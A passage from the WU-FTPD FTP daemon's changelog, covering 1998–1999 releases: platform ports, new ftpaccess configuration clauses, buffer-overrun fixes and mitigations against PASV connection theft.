| 240 | o The string 'path-filter' is now used in the system logs to describe | ||
| 241 | problems resulting from failing a path-filter check. The daemon used | ||
| 242 | to just say 'bad filename' which was misleading to some people. | ||
| 243 | |||
| 244 | o Added instruction on how to support PAM on Solaris. Right now this | ||
| 245 | means hand editing src/config/config.sol and | ||
| 246 | src/makefiles/Makefile.sol. | ||
| 247 | |||
| 248 | o Checking that all platforms use config.h, src/config/config.isc was | ||
| 249 | found to have forgotten to include the file. | ||
| 250 | |||
| 251 | o A security deficency on SunOS 4.1, not having a working getcwd() | ||
| 252 | function, has been corrected by using the provided function. | ||
| 253 | Compilation bugs in the portable getcwd() function have been corrected. | ||
| 254 | |||
| 255 | o The daemon will no longer hang attempting to close the RFC931 socket | ||
| 256 | when the remote end is firewalled and does not respond to traffic for | ||
| 257 | this protocol. This was determined to be inappropriate handling of | ||
| 258 | SIGALRM; handling for this signal has been cleaned up throughout the | ||
| 259 | daemon. | ||
| 260 | |||
| 261 | o The daemon may now be built using GNU autoconf. This is in the early | ||
| 262 | stages and not all platforms may be supported. The old build system | ||
| 263 | will be maintained for at least the 2.6.0 release; until the major | ||
| 264 | platforms are all known to be supported. | ||
| 265 | |||
| 266 | o Two new ftpaccess clauses have been added. These allows the site admin | ||
| 267 | to selectively allow PORT and PASV data connections where the remote IP | ||
| 268 | address does not match the remote IP address on the control connection. | ||
| 269 | The new clauses are: | ||
| 270 | |||
| 271 | port-allow <class> [<addrglob> ...] | ||
| 272 | pasv-allow <class> [<addrglob> ...] | ||
| 273 | |||
| 274 | o The daemon now includes an internal 'ls' command. | ||
| 275 | |||
| 276 | o Ported to Mac OS/X. | ||
| 277 | |||
| 278 | 0 Added (limited) support for AFS and DCE user authentication. This is | ||
| 279 | only know to work on AIX, and needs porting to other platforms. For | ||
| 280 | now, this requires hand work to enable. | ||
| 281 | |||
| 282 | o Added an ftpaccess clause to enable TCP keepalives. This clause is: | ||
| 283 | |||
| 284 | keepalive <yes|no> | ||
| 285 | |||
| 286 | o You can now specify the xferlog filename for the default server just as | ||
| 287 | you can for the virtual hosts; in the ftpaccess file. The new clause | ||
| 288 | is: | ||
| 289 | |||
| 290 | xferlog <absolute path> | ||
| 291 | |||
| 292 | o ftpaccess manpage cleaned up. Many typos corrected, some techincal | ||
| 293 | changes. Indentation should now be correct. | ||
| 294 | |||
| 295 | o Apache's .indent.pro to the src and support directories. Ran all *.c | ||
| 296 | and *.h files through it. ftpcmd.y has been indented by hand. The | ||
| 297 | code is now a lot more readable! | ||
| 298 | |||
| 299 | o A bug in the parsing for the deny !nameserved ftpaccess clause has been | ||
| 300 | corrected. | ||
| 301 | |||
| 302 | o Technical corrections in the ftpd manpage. | ||
| 303 | |||
| 304 | o Add util/recompress.c as a more generic version of gzip2cmp.c | ||
| 305 | |||
| 306 | ########################################################################### | ||
| 307 | |||
| 308 | Changes in 2.5.0: Released 25 May, 1999 | ||
| 309 | |||
| 310 | o Change the handling of wtmp for GNU libc to use the Os-provided | ||
| 311 | function updwtmp(). | ||
| 312 | |||
| 313 | o Prevent some buffer overruns. | ||
| 314 | |||
| 315 | o Fix permissions on some files installed by RPM, add the log rotation | ||
| 316 | control file. | ||
| 317 | |||
| 318 | o Change the seteuid() calls for fchown() and chown() for POSIXLY_CORRECT | ||
| 319 | systems. | ||
| 320 | |||
| 321 | o pid file locking in ftpcount (ftpwho) is now consistent with the way | ||
| 322 | the daemon locks these files. | ||
| 323 | |||
| 324 | o Cancel any pending alarm request to stop acl_remove() from being | ||
| 325 | interrupted then called again via the SIGALRM handler, this should fix | ||
| 326 | the flock on a bad file descriptor looping problem. | ||
| 327 | |||
| 328 | o Use %m in syslog format strings in place of %s and strerror(), this | ||
| 329 | simplifies #ifdefs. | ||
| 330 | |||
| 331 | o For SCO, link ftpcount with libsocket, necessary as it now calls | ||
| 332 | syslog(). | ||
| 333 | |||
| 334 | o Added Redhat's RPM SPEC file for building RPMs. | ||
| 335 | |||
| 336 | o English corrections in ftpaccess manpage. Technical correction: the | ||
| 337 | noretrieve/allow-retrieve clauses do NOT support regular expressions. | ||
| 338 | |||
| 339 | o Move where ftpglob stuff is defined to avoid compilation errors on some | ||
| 340 | systems. | ||
| 341 | |||
| 342 | o Port to SGI Irix version 4 corrected. | ||
| 343 | |||
| 344 | o Overwrite behavior on uploads has been made consistent with shell | ||
| 345 | usage. The daemon does not change ownership or permissions on | ||
| 346 | overwrite. | ||
| 347 | |||
| 348 | o Corrected the PASV command to bind to the correct interface (local IP | ||
| 349 | address). | ||
| 350 | |||
| 351 | o Removed the OVERWRITE and UPLOAD defines from platform config files; | ||
| 352 | they are defined in the main config.h header. | ||
| 353 | |||
| 354 | o Issuing CWD without any parameters caused a signal 11, crashing the | ||
| 355 | daemon. | ||
| 356 | |||
| 357 | o Port to HP/UX corrected. | ||
| 358 | |||
| 359 | o Added ERRATA file to discuss problems with getcwd(). | ||
| 360 | |||
| 361 | o Added a portable version of the getcwd() function for systems which do | ||
| 362 | not have it or imcorrectly implement it. NextStep 3 uses this new | ||
| 363 | function. | ||
| 364 | |||
| 365 | o OPIE support was being disabled even though the proper command-line | ||
| 366 | switches were being set. Corrected the use of opieverify(). | ||
| 367 | |||
| 368 | o The fatal() function was not declared void; this was causing problems | ||
| 369 | with some compilers. | ||
| 370 | |||
| 371 | o Port to Hitachi HI-UX corrected. | ||
| 372 | |||
| 373 | o Some calls to fnmatch() were missing parameters. | ||
| 374 | |||
| 375 | o Corrected the 'restricted' user feature. It now works well with most | ||
| 376 | FTP clients. | ||
| 377 | |||
| 378 | o Correct usage of -d vs -e in the install Makefile for a number of | ||
| 379 | platforms. | ||
| 380 | |||
| 381 | o You can now use negated hostnames/addresses on the class ftpaccess | ||
| 382 | clause. | ||
| 383 | |||
| 384 | o Added an ftpaccess clause to specify random text for the initial | ||
| 385 | greeting: | ||
| 386 | |||
| 387 | greeting text <message> | ||
| 388 | |||
| 389 | o Corrected password encryption/checking for Digital Unix with C2 | ||
| 390 | security (SECUREOSF). | ||
| 391 | |||
| 392 | o Merged the TODO file from the VR series with Stan's TODO file for the | ||
| 393 | Academ betas. | ||
| 394 | |||
| 395 | o Changed the various permission denial messages sent by the daemon to | ||
| 396 | the client to make it clear the message originated from the server. | ||
| 397 | |||
| 398 | o Ports to SCO, Solaris, uxw, ptx and isc corrected. | ||
| 399 | |||
| 400 | o Use the newer SEEK_ defines in place of the old BSD L_ defines and | ||
| 401 | removed the global definition of entry, each function should define it | ||
| 402 | locally. | ||
| 403 | |||
| 404 | o Removed an unnecessary lseek(L_SET) in ftpcount (ftpwho). | ||
| 405 | |||
| 406 | o Link ftpcount and ftpshut with ${XXLIBS}. | ||
| 407 | |||
| 408 | o Made strsep() definition consistent with BSD and Linux. Add strsep() | ||
| 409 | definition to conversions.c. | ||
| 410 | |||
| 411 | o Added #include <string.h> to ckconfig.c. | ||
| 412 | |||
| 413 | o Replaced the _PATH_DEVNULL define with a #include of "pathnames.h" in | ||
| 414 | popen.c. | ||
| 415 | |||
| 416 | o Support long group access passwords if SecureWare or HPUX_10_TRUSTED | ||
| 417 | are defined (using bigcrypt()). | ||
| 418 | |||
| 419 | o Fixed a memory leak in restrict.c. | ||
| 420 | |||
| 421 | o Digital Unix version 4 has a working getcwd(); use it instead of | ||
| 422 | getwd(). | ||
| 423 | |||
| 424 | o Stop restrict_list_check() from walking off the end of name. | ||
| 425 | |||
| 426 | o Added -x command-line option to mean 'log syslog+xferlog'. | ||
| 427 | |||
| 428 | o Changed the log ftpaccess clause to allow logging transfers to both the | ||
| 429 | syslog and xferlog. The log ftpaccess clauses now include: | ||
| 430 | |||
| 431 | log syslog | ||
| 432 | log xferlog | ||
| 433 | log syslog+xferlog | ||
| 434 | |||
| 435 | o Formation of the WU-FTPD Development Group on 1 April, 1999. | ||
| 436 | 2.4.2-VR17 chosen as initial baseline for the daemon. | ||
| 437 | |||
| 438 | ########################################################################### | ||
| 439 | |||
| 440 | Changes in 2.4.2-VR17: Released 1 April, 1999 | ||
| 441 | |||
| 442 | o Gregory A Lundberg resigns as the de-facto maintainer of WU-FTPD. "And | ||
| 443 | you thought I was joking." | ||
| 444 | |||
| 445 | o VIRTUAL is now the default for Solaris; all Solaris systems support | ||
| 446 | multiple interfaces (IP addresses). | ||
| 447 | |||
| 448 | o Fixed complaints involving virtual_len reported by several beta | ||
| 449 | testers. | ||
| 450 | |||
| 451 | o Some of the 'C' source code in ftpcmd.y depended upon a particular | ||
| 452 | behavior when ANSI/ISO does not define it. Corrected so all compilers | ||
| 453 | will properly interpret the code. | ||
| 454 | |||
| 455 | o Corrected the support for QUOTA on Solaris. | ||
| 456 | |||
| 457 | o The GNU EGCS 'C' compiler is broken. A quick check and we can avoid | ||
| 458 | the brokenness. | ||
| 459 | |||
| 460 | o Port to Ultrix corrected. | ||
| 461 | |||
| 462 | o The default shell on NextStep wants -d instead of -e. Changed to test | ||
| 463 | instead of [] since that's more portable; will probably do the same to | ||
| 464 | other systems in a future release. | ||
| 465 | |||
| 466 | o MNTMAXSTR was possibly undefined on Digital Unix 4.0 even when not | ||
| 467 | using QUOTA_DEVICE, causing compilation errors. | ||
| 468 | |||
| 469 | o Added daemonaddress to the ftpaccess manpage. | ||
| 470 | |||
| 471 | o Added a note from Chad Price <cprice@molbio.unmc.edu> in src/logwtmp.c | ||
| 472 | about the brokenness of Solaris' last command. | ||
| 473 | |||
| 474 | o It turns out that not all SunOS 4.1 boxes actually have a getcwd() | ||
| 475 | function. | ||
| 476 | |||
| 477 | o The labels unix and __unix__ are depricated on BSD, effecting the logic | ||
| 478 | for the reponse to the SYST command. | ||
| 479 | |||
| 480 | o Added an appnote about OPIE. See src/makefiles/Makefile.lnx for a way | ||
| 481 | to automatically have the daemon use OPIE. Send your Makefile if you | ||
| 482 | do something similar for your system. | ||
| 483 | |||
| 484 | o Added an appnote about a problem experienced with Trusted Solaris. | ||
| 485 | |||
| 486 | o Added doc/misc directory to start collecting interesting tidbits which | ||
| 487 | may help people get their servers going. | ||
| 488 | |||
| 489 | o The FIXES files were really cluttering up the base directory. Moved | ||
| 490 | them to a directory under doc. | ||
| 491 | |||
| 492 | o The 'log security' ftpaccess clause covered all but a few messages | ||
| 493 | about filesystem operations. It now covers the few it missed. | ||
| 494 | |||
| 495 | o Under some conditions _PATH_WTMP was not being set in pathnames.h | ||
| 496 | |||
| 497 | o QUOTA is now supported for Solaris. | ||
| 498 | |||
| 499 | o Trusted Solaris needed additional functionality in ftpcount (ftpwho). | ||
| 500 | |||
| 501 | o File locking in ftpcount (ftpwho) was never completed. | ||
| 502 | |||
| 503 | o Port to HP/UX corrected. | ||
| 504 | |||
| 505 | o 'make install' now accepts DESTDIR to install into a directory | ||
| 506 | structure other than the root file system. A number of other optional | ||
| 507 | parameters are available to override the default ownership of the | ||
| 508 | installed files. Missing directories are automatically created. File | ||
| 509 | permisssions were reduced to the minimum necessary. | ||
| 510 | |||
| 511 | o Dead code removed. | ||
| 512 | |||
| 513 | o The Makefile for Linux now automatically detects if PAM is installed | ||
| 514 | and compiles the daemon to use it. | ||
| 515 | |||
| 516 | o Fix an uninitialized variable in ftpshut which could effect the way the | ||
| 517 | command works with default values. | ||
| 518 | |||
| 519 | o Suppress trailing blanks from the output of a wide 'ps' in the ftpcount | ||
| 520 | (ftpwho) command. Just making things pretty. | ||
| 521 | |||
| 522 | o Updated upload.configuration.HOWTO to describe more of the | ||
| 523 | configuration having to do with class= rules and overwrite, delete and | ||
| 524 | rename clauses. | ||
| 525 | |||
| 526 | o Added vers.c and edit to 'make cleandir' in the src directory. These | ||
| 527 | files are automatically created during the build process. | ||
| 528 | |||
| 529 | o Added a restrict_check(".") in the LIST command for consistency with | ||
| 530 | the remainder of the code in ftpcmd.y. | ||
| 531 | |||
| 532 | o Corrected the 'restricted' users feature so it would play nicely with | ||
| 533 | web clients and the way some of them mis-interpret FTP URLs. | ||
| 534 | |||
| 535 | ########################################################################### | ||
| 536 | |||
| 537 | Changes in 2.4.2-VR16: Released 4 March, 1999 | ||
| 538 | |||
| 539 | o The Makefile for hiu had a typo and would not install two manpages. | ||
| 540 | |||
| 541 | o Merged 2.4.2-BETA-18-VR15 with 2.4.2 (final) from Academ. Gotta love | ||
| 542 | CVS. :) | ||
| 543 | |||
| 544 | o Gregory A Lundberg becomes the de-facto maintainer of WU-FTPD pending | ||
| 545 | the formation of the WU-FTPD Development Group. | ||
| 546 | |||
| 547 | ########################################################################### | ||
| 548 | |||
| 549 | Changes in 2.4.2: Released 26 Febraury, 1999 (not announced) | ||
| 550 | |||
| 551 | o With the release of 2.4.2, Stan Barber steps down as the maintainer of | ||
| 552 | WU-FTPD. | ||
| 553 | |||
| 554 | o Documented that 'upload .. no' allowed directory creation. See | ||
| 555 | doc/examples/ftpaccess.heavy as an example. [Ed: This is not the case | ||
| 556 | for the VR series, but I'm including the change anyway.] | ||
| 557 | |||
| 558 | o Clarification in the manpage for ftphosts: ftp or anonymous listed in | ||
| 559 | the file will disable anonymous ftp access. | ||
| 560 | |||
| 561 | o Possible pointer overrun in acl.c parsing ftpaccess corrected. | ||
| 562 | |||
| 563 | o Literal constant in ftpcmd.y changed to static to reduce program size. | ||
| 564 | |||
| 565 | o ftpcount/ftpwho interpretation of start/stop times made to match the | ||
| 566 | way the daemon actually does it. | ||
| 567 | |||
| 568 | o setproctitle() in ftpd.c updated to avoid a buffer overrun and handle | ||
| 569 | low memory conditions; SCO corrections. | ||
| 570 | |||
| 571 | o Possible buffer overrun parsing 'virtual root' and 'virtual logfile' | ||
| 572 | corrected. | ||
| 573 | |||
| 574 | o A timeout timer was being reset at the wrong point during STOR. | ||
| 575 | |||
| 576 | o Corrections for Sun/Solaris paths in pathnames.h. | ||
| 577 | |||
| 578 | o Makefile for DEC/Unix (dec and du4) changed from cc -std1 to cc -std. | ||
| 579 | |||
| 580 | o Correction in syslog support for DEC/Unix in support/syslog.c. | ||
| 581 | |||
| 582 | o util/xferstats corrected to parse your local domain name rather than | ||
| 583 | just assuming you're academ.com. | ||
| 584 | |||
| 585 | o Other changes are white-noise or simply for style and do not effect the | ||
| 586 | operation of the daemon in any way. | ||
| 587 | |||
| 588 | ########################################################################### | ||
| 589 | |||
| 590 | Changes in 2.4.2-BETA-18-VR15: Released 1 March, 1999 | ||
| 591 | |||
| 592 | o Provided a means to completely disable anonymous FTP access. Done as a | ||
| 593 | compile-time option, see config.h | ||
| 594 | |||
| 595 | o NLST with a directory ending with / doubled up the slash. This had | ||
| 596 | been there for years. | ||
| 597 | |||
| 598 | o Completed large file support for AIX. To enable Large File support, | ||
| 599 | use './build aix LF=YES' | ||
| 600 | |||
| 601 | o The stock compiler on SunOS 4.1 is breaindead. Use gcc instead. Also | ||
| 602 | found during trials that getcwd() works fine on s41 and enabled it. | ||
| 603 | Found that on a SunOS 4.1 using NFS in the FTP area, fchdir() doesn't | ||
| 604 | always work so if you have problems, #define HAS_NO_FCHDIR to see if | ||
| 605 | that helps. | ||
| 606 | |||
| 607 | o Complete the changeover from SCO Unix to SCO OpenServer 5. | ||
| 608 | |||
| 609 | o We really don't need to #undef NO_PRIVATE twice in config.h .. it just | ||
| 610 | confuses things. | ||
| 611 | |||
| 612 | o The -X command-line option and 'log syslog' were not working as | ||
| 613 | documented. The switch was re-initialized by the 'log' clauses. | ||
| 614 | |||
| 615 | o Additional corrections for AIX 4.2 and large file support. Earlier | ||
| 616 | versions of AIX may need to edit support/makefiles/Makefile.aix if they | ||
| 617 | don't have snprintf() or strdup(). | ||
| 618 | |||
| 619 | o Corrected a case where _PATH_XFERLOG may not be defined at all in | ||
| 620 | src/pathnames.h. | ||
| 621 | |||
| 622 | o Code cleanup for the xferlog print which was changed in VR14. | ||
| 623 | |||
| 624 | o A typo selected the wrong HELP_CRACKERS patch in one place. | ||
| 625 | |||
| 626 | o Protect a #define conflict on NetBSD with #ifndef. | ||
| 627 | |||
| 628 | o The reason the daemon won't work on AIX is the size_t_blksize change | ||
| 629 | made as an experiment way-back-when. Backed out that change. Let's | ||
| 630 | see what happens. | ||
| 631 | |||
| 632 | o Corrected an error which caused AIX to sometimes report 0 for the | ||
| 633 | filesize when a download begins. | ||
| 634 | |||
| 635 | o There were a number of places there was no check for errors from | ||
| 636 | alloc()/malloc()/calloc(). | ||
| 637 | |||
| 638 | o defumask was causing problems on HPUX. Another case of mis-matched | ||
| 639 | definition/extern. | ||
| 640 | |||
| 641 | o There were several places where int was being used and size_t was | ||
| 642 | correct. This may, or may not, fix problems getting the daemon to work | ||
| 643 | on AIX. | ||
| 644 | |||
| 645 | o Added the ability to restrict users to their home directories. This | ||
| 646 | has the effect of doing a "soft" chroot and is best used with guest | ||
| 647 | users. Several new ftpaccess clauses were added to support this: | ||
| 648 | |||
| 649 | restricted-uid <uid-range> [...] | ||
| 650 | restricted-gid <gid-range> [...] | ||
| 651 | unrestricted-uid <uid-range> [...] | ||
| 652 | unrestricted-gid <gid-range> [...] | ||
| 653 | |||
| 654 | o Sun forgot to include RAND_MAX in their implementation of | ||
| 655 | srand()/rand() on SunOS 4.1. Choose a (hopefully) correct value. This | ||
| 656 | has dire consequences for PASV port randomization of it's wrong. | ||
| 657 | |||
| 658 | o The Perl script for xferstats provided with the daemon calls for | ||
| 659 | /usr/local/bin/perl when Perl is usually in /usr/bin/perl. You | ||
| 660 | shouldn't be using this script anyway, get Phil's version; it's MUCH | ||
| 661 | better. | ||
| 662 | |||
| 663 | o Corrections to QUOTA support. | ||
| 664 | |||
| 665 | o OPIE can now use the OPIE access file, allowing some users to user | ||
| 666 | password authentication while requiring others to use OPIE. | ||
| 667 | |||
| 668 | o Wildcards (*) on hostmatch used to work and don't any more. The were | ||
| 669 | removed because the original method was insecure. Corrected the | ||
| 670 | problem and re-instituted this feature without the potential security | ||
| 671 | problems of the old method. | ||
| 672 | |||
| 673 | o /etc is cluttered enough but the config files make it harder than it | ||
| 674 | has to be to use /etc/ftpd for the daemon configuration files. Updated | ||
| 675 | config files to test for a value before setting the default. Look in | ||
| 676 | src/makefiles/Makefile.lnx for an example of how to automatically test | ||
| 677 | the target for this, or just add -DUSE_ETC_FTPD to COPTS in your | ||
| 678 | Makefile. | ||
| 679 | |||
| 680 | ########################################################################### | ||
| 681 | |||
| 682 | Changes in 2.4.2-BETA-18-VR14: Released 15 February, 1999 | ||
| 683 | |||
| 684 | o The correction for SCO had an effect on Digital Unix with C2 Security | ||
| 685 | (SECUREOSF). | ||
| 686 | |||
| 687 | o Fixed some dumb coding mistakes in realpath.c | ||
| 688 | |||
| 689 | o Port for NextStep 3.3 corrected. | ||
| 690 | |||
| 691 | o Fixed a compile error for quotas on Linux; seems Redhat or someone | ||
| 692 | forgot to #include a file deep in the OS runtime headers. | ||
| 693 | |||
| 694 | o Corrections for SecureWare systems so the daemon can build on SCO | ||
| 695 | OpenServer 5. | ||
| 696 | |||
| 697 | o There were points where multiple replies due to realpath() returning an | ||
| 698 | error could hang the remote client. Removed the extra replies. | ||
| 699 | |||
| 700 | o The size of a buffer used by the *_realpath() functions is BUFSIZ and | ||
| 701 | should be MAXPATHLEN. Actually, this was the case many places in | ||
| 702 | extensions.c. | ||
| 703 | |||
| 704 | o The anti-NOOP code didn't work. The timer was being restarted too | ||
| 705 | often. | ||
| 706 | |||
| 707 | o The reason debug doesn't work in daemon-mode is it's initialized too | ||
| 708 | late. | ||
| 709 | |||
| 710 | o Back in VR8 I turned off the sleep slowing down password guessers | ||
| 711 | because there are times when signals can be off when the sleep occurs | ||
| 712 | and that would hang the daemon. Let's fix that and re-enable the | ||
| 713 | sleep. | ||
| 714 | |||
| 715 | o Still more buffer-overflow points which can cause problems. This time | ||
| 716 | it's in the writing of the xferlog. Sigh. This really should be | ||
| 717 | rewritten. | ||
| 718 | |||
| 719 | o Disallow PASV connections from IP addresses different than the control | ||
| 720 | connection. This is not a complete fix, but it will stop connection | ||
| 721 | theft where the attacker is on a different machine than the victim- | ||
| 722 | client. | ||
| 723 | |||
| 724 | o There is an old, well-known PASV port race designed into the FTP | ||
| 725 | protocol. To make it harder for this race to succeed, do not depend | ||
| 726 | upon the underlying system to randomly choose the PASV port. The only | ||
| 727 | correct solution to this problem is a client-side issue: open the | ||
| 728 | connection before issueing the transfer command. | ||
| 729 | |||
| 730 | ########################################################################### | ||
| 731 | |||
| 732 | Changes in 2.4.2-BETA-18-VR13: Released 1 February, 1999 | ||
| 733 | |||
| 734 | o Added module loadavg.c stripped from Sendmail. This is not currently | ||
| 735 | compiled. The module is for testing connection limits based upon | ||
| 736 | system load, which is planned for a future version of the daemon. | ||
| 737 | |||
| 738 | o Fixed a bug where access.c was logging garbage because of bad linkage | ||
| 739 | to ftpd.c, this appeared on a number of syslog messages instead of the | ||
| 740 | remote user identification (via RFC 931). | ||
| 741 | |||
| 742 | o Added and ftpaccess clause to listen on a single IP address instead of | ||
| 743 | INADDR_ANY. This is incompatible with virtual host support as things | ||
| 744 | now stand and will require a major rewrite to fix. I needed it for a | ||
| 745 | specific site and decided to leave it in. The new clause is: | ||
| 746 | |||
| 747 | daemonaddress <address> | ||
| 748 | |||
| 749 | o Fixed a bug in the 'connection from' message. The AUTH (RFC 931) was | ||
| 750 | too late and the remote address and host name hadn't been determined | ||
| 751 | yet. | ||
| 752 | |||
| 753 | o Fixed a bug in the quota support which caused a crash if there was no | ||
| 754 | file support (/etc/fstab /etc/mtab) on some systems. | ||
| 755 | |||
| 756 | o Added documentation for class= phrases missed in VR12 and promised for | ||
| 757 | this release. | ||
| 758 | |||
| 759 | o The realpath fix in VR12 for NFS had an off-by-one. | ||
| 760 | |||
| 761 | ########################################################################### | ||
| 762 | |||
| 763 | Changes in 2.4.2-BETA-18-VR12: Released 1 January, 1999 | ||
| 764 | |||
| 765 | o Added a missing library building for SGI. | ||
| 766 | |||
| 767 | o Added a few small tweaks for building on NetBSD. | ||
| 768 | |||
| 769 | o Added a compile-time option to suppress syslog messages about pid locks | ||
| 770 | forcing a sleep. | ||
| 771 | |||
| 772 | o Preload the ftpaccess file before becoming a daemon. This can have a | ||
| 773 | big impact on the performance for busy sites. It also loads before the | ||
| 774 | chroot command-line option so the /etc/ftpaccess file does not need to | ||
| 775 | be in the protected area. | ||
| 776 | |||
| 777 | o The ftpwho and ftpcount commands internally use ps(1). Appearently, on | ||
| 778 | at least Linux, there's a move afoot to change the ps(1) command so it | ||
| 779 | no longer accepts dashes on the command-line options. How annoying. | ||
| 780 | Ah well, if the target is Linux, use ps(1) without dashes to make the | ||
| 781 | silly command shut UP! | ||
| 782 | |||
| 783 | o The cleanup in the last patch also cleared up some potential problems | ||
| 784 | with the upload clause. The daemon is no longer critically sensitive | ||
| 785 | to minor formatting errors on this clause. | ||
| 786 | |||
| 787 | o Added 'class=' parameter for noretrieve, allow-retreieve, path-filter, | ||
| 788 | delete, umask, chmod, overwrite, rename and upload clauses. Cleaned up | ||
| 789 | the functions a bit for readability. | ||
| 790 | |||
| 791 | o Port for Digital Unix 4.0(b) corrected. | ||
| 792 | |||
| 793 | o Corrected a coding error which prevented proper use of the | ||
| 794 | address:netmask form for access control. | ||
| 795 | |||
| 796 | o Corrected problems with NFS and the new realpath code in VR10. Some | ||
| 797 | problems with several security models and NFS have been corrected. | ||
| 798 | |||
| 799 | ########################################################################### | ||
| 800 | |||
| 801 | Changes in 2.4.2-BETA-18-VR11: Released 1 December, 1998 | ||
| 802 | |||
| 803 | o Corrected a problem with CWD when no parameter is given and the user is | ||
| 804 | anonymous or guest. The command should work but returns an error | ||
| 805 | instead; the error reveals the underlying file system. CWD with no | ||
| 806 | parameter should work like CWD ~. | ||
| 807 | |||
| 808 | o Correcte problems with the new realpath.c on SunOS. Basically, the | ||
| 809 | getcwd() function on SunOS is too buggy to use so we had to switch to | ||
| 810 | getwd instead. SunOS has joined AIX as systems which do not provide | ||
| 811 | the runtime support needed to avoid all buffer overruns in realpath(). | ||
| 812 | |||
| 813 | o Changed the lslong and lsshort ftpaccess clauses to support more | ||
| 814 | complex command lines. Added lsplain to modify the default 'ls' | ||
| 815 | behaviour. | ||
| 816 | |||
| 817 | o The byte count for ASCII mode file reception was off by a few | ||
| 818 | characters. This bug had been there for a very long time. | ||
| 819 | |||
| 820 | o A bad extern in ftpcmd.y caused garbage to be logged for the | ||
| 821 | remoteident. | ||
| 822 | |||
| 823 | o initsetproctitle was once again causing signal 11 crashes. Moved the | ||
| 824 | call further up yet again and they're not happening. | ||
| 825 | |||
| 826 | o Added an option to completely disable PASV mode and/or PORT mode. | ||
| 827 | |||
| 828 | o Added syslog message if started as a standalone daemon and there is no | ||
| 829 | ftpaccess file being used. | ||
| 830 | |||
| 831 | o Linux libraries now define some paths already in src/pathnames.h so we | ||
| 832 | need to #include <paths.h> first. Did this in config/config.lnx. | ||
| 833 | |||
| 834 | o Linux library includes no longer #define MAXMNTENT so if it's not there | ||
| 835 | #define it in extensions.c until someone has the time to fix this | ||
| 836 | right. | ||
| 837 | |||
| 838 | o Added -r option to chroot the daemon during startup. | ||
| 839 | |||
| 840 | ########################################################################### | ||
| 841 | |||
| 842 | Changes in 2.4.2-BETA-18-VR10: Released 1 November, 1998 | ||
| 843 | |||
| 844 | o There was a buffer-overrun in the realpath function. Imported the | ||
| 845 | FreeBSD realpath() function to correct this error. | ||
| 846 | |||
| 847 | o The Perl xferstats wasn't updated to match the new xferlog format with | ||
| 848 | the new completion-code field on the end. | ||
| 849 | |||
| 850 | o AUTH (ident) the remote user during login. Record the results in the | ||
| 851 | syslog. | ||
| 852 | |||
| 853 | o RFC-931 (AUTH/IDENT) was finished up. The log messages now show the | ||
| 854 | RFC-931 user if one is known. | ||
| 855 | |||
| 856 | o Support for some Hitachi flavors of Unix was added. | ||
| 857 | |||
| 858 | o Major cleanup of build and the makefiles. | ||
| 859 | |||
| 860 | o A number of minor fixes, mainly having to do with differences between | ||
| 861 | ANSI/ISO and K&R C. | ||
| 862 | |||
| 863 | o Fixed several points of confusion when some things (like size_t) are | ||
| 864 | not the same size as an int. | ||
| 865 | |||
| 866 | o Added the -Q command-line option to suppress access to the PID files. | ||
| 867 | NOTE: Without PID files, the limit ftpaccess clause cannot determine | ||
| 868 | the number of users in the given class. | ||
| 869 | |||
| 870 | o Added a -p option which allows the port to be specified for the control | ||
| 871 | connection. Command-line options are also provided to allow both the | ||
| 872 | data and control port numbers to be specified. | ||
| 873 | |||
| 874 | o The daemon did not use the correct method to choose the port for the | ||
| 875 | data connection in PORT mode. The daemon will look up the data port in | ||
| 876 | /etc/services. | ||
| 877 | |||
| 878 | ########################################################################### | ||
| 879 | |||
| 880 | Changes in 2.4.2-BETA-18-VR9: Released 15 October, 1998 | ||
| 881 | |||
| 882 | o Cleaned up a few large, confusing 'if' statements in the code. | ||
| 883 | |||
| 884 | o Changed my mind. Regular expressions don't work well unless there's | ||
| 885 | some way to tell they're there. Backed out all regular expression | ||
| 886 | matching for file/path names in the ftpaccess file. This issue will be | ||
| 887 | re-evaluated in a later version. Globbing still works everywhere it's | ||
| 888 | reasonable to use it. | ||
| 889 | |||
| 890 | o Dead code removed. | ||
| 891 | |||
| 892 | o Noted a number of places where strcmp was used but strcasecmp would be | ||
| 893 | more appropriate. This makes the ftpaccess file easier to maintain | ||
| 894 | since small typographical errors won't matter so much any more. | ||
| 895 | |||
| 896 | o Added regular expression matching to deny-mail. | ||
| 897 | |||
| 898 | o There were reports of errors on AIX with malloc. Testers confirm | ||
| 899 | problem in send_data(). Working on the supposition that the problem is | ||
| 900 | data alignment: the 'blksize' is off_t and malloc() wants a size_t; | ||
| 901 | added a conversion step which should eliminate the problem. | ||
| 902 | |||
| 903 | o Fixed another discrepancy between the ANSI and K&R function | ||
| 904 | definitions. | ||
| 905 | |||
| 906 | o Support globbing/wildcards throughout ftpaccess file for file and | ||
| 907 | directory comparisons. | ||
| 908 | |||
| 909 | o Added for OPIE (One-time Passwords In Everything). You will need OPIE | ||
| 910 | libraries installed to use this. OPIE is available from | ||
| 911 | ftp://ftp.inner.net/pub/opie/opie-2.32.tar.gz | ||
| 912 | |||
| 913 | o The extensions for 'absolute' or 'relative' pathname comparison were | ||
| 914 | not case-insensitive. They should have been. | ||
| 915 | |||
| 916 | o Add 'allow-retrieve' to allow retrieval of files which would be denied | ||
| 917 | by earlier 'noretrieve' clauses. The ftpaccess clause is: | ||
| 918 | |||
| 919 | allow-retrieve [absolute|relative] [class=<classname>]... [-] <filename> ... | ||
| 920 | |||
| 921 | o Support regular expressions in noretrieve. | ||
| 922 | |||
| 923 | o Port for Digital Unix with C2 Securuty (SECUREOSF) corrected. | ||
| 924 | |||
| 925 | o Allow access control commands to use address/netmask or CIDR. | ||
| 926 | |||
| 927 | o Corrected a hostname matching bug. | ||
| 928 | |||
| 929 | o Allow host names instead of IP numbers. | ||
| 930 | |||
| 931 | o Reduce the number of DNS lookups needed for virtual host support. | ||
| 932 | |||
| 933 | o xferlog now indicates success or failure. | ||
| 934 | |||
| 935 | o realpath() needs root permissions to prevent errors under certain | ||
| 936 | security models. | ||
| 937 | |||
| 938 | ########################################################################### | ||
| 939 | |||
| 940 | Changes in 2.4.2-BETA-18-VR8: Released 1 October, 1998 | ||
| 941 | |||
| 942 | o AIX complained (rightly so) about several problems with the source | ||
| 943 | which prevented compiling using K&R. | ||
| 944 | |||
| 945 | o DEC Unix 3 complains about the function 'main()' having more than two | ||
| 946 | parameters for STRICT ANSI/ISO C compliance. This warning can be | ||
| 947 | safely ignored. | ||
| 948 | |||
| 949 | o Corrected several minor problems and fixed errors in syslog in the | ||
| 950 | support/makefiles/Makefile.dec and src/makefiles/Makefile.dec which | ||
| 951 | prevented bulding on DEC Unix 3.x. | ||
| 952 | |||
